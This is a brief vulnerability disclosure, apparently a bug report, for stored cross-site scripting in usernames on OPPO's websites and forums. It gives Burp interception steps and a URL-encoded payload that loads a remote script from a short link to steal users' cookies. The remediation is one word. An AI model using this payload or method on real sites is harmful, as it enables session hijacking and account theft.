There are cross-site official OPPO websites and forums.

There are cross-site official OPPO websites and forums.

1. register an account first. Do not change your username because it can only be changed once.

2. Change your username and write a username to cheat local verification. Use burp to intercept sent packets.
 

3. Use the Decoder function of burp to encode the cross-site code.

Code after encoding:

%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3a%2f%2f%69%73%2e%67%64%2f%4e%64%75%67%43%45%3e%3c%2f%73%63%72%69%70%74%3e

4. Change the username data in the data packet to the Cross-Site code after url encoding.
 

 

5. Save the changes and log on to the official website or forum. After modification, the user name is blank.
 

6. Users can post messages, add other friends, send private messages, reply to posts, and perform other operations to steal cookies of any account.
 

 

Solution:

Filter